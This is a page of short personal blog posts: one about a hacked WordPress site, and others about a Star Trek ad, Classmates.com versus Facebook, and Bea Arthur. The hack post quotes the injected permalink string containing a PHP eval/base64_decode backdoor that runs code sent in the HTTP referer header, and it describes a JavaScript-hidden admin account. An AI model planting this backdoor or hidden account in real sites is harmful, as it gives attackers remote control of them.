WordPress Security Exploits – This site was hacked

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I still have no idea what this means.

I’m currently running WordPress 2.8.4 on this site.

One of my older sites was hacked as per

https://lorelle.wordpress.com/2009/09/04/old-wordpress-versions-under-attack/

and the permalinks were changed to

/%year%/%monthnum%/%day%/%postname%/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/

There was a hidden user named “WordPress” — javascript was being used to prevent the user from showing in the admin users section (and it didn’t show the user in the user count). My computer is running slow, so when looking at the user list this second user would appear and then disappear as the javascript executed. On a faster computer, it would have been impossible to see the hidden user. Dumbass javascript tricks.

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This Is Not Your Father’s Star Trek

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I saw an ad promoting the new Star Trek movie as “This is not your father’s Star Trek” — blech.

“This is not your father’s Star Trek” is a phrase that has more significance to the generation of kids that grew up watching Star Trek reruns than it does to the kids it is trying to attract.

The phrase they are alluding to is “This is not your father’s Oldsmobile” — a ill-conceived attempt to get people my age to buy Oldsmobiles (rather than our parents/grandparents). The end result of that brilliant bit of marketing… no more Oldsmobile.

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Classmates Vs. Facebook – Classmates Fails

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Classmates.com sent me a survey request so that I can let them know what I’m thinking.

I don’t have time to take a 20 minute survey with no compensation, so I’ll just put my thoughts here:

1. Facebook.com seems to do everything Classmates.com does — and more.

2. Facebook.com is free.

Classmates.com built a business around charging absurdly high prices for people to access information (and they ALSO loaded up their website with ads to the point of it being annoying and often unusable). Facebook built a business around keeping the access free (and their ads are much less obtrusive).

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Saying Goodbye to Bea Arthur

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As my friend Jim used to say (quite often),

If Bea Arthur married Arthur Murray,
she would Bea Arthur Murray.

When prominent celebrities from from childhood die, I often look up with biographies. Maude is one of those shows I sort of remember, though I think it mostly dealt with topics that were of no interest to me. And Golden Girls is a TV show everyone has heard of. So I was kinda surprised to find out that Bea Arthur was actually involved in a Star Wars project.

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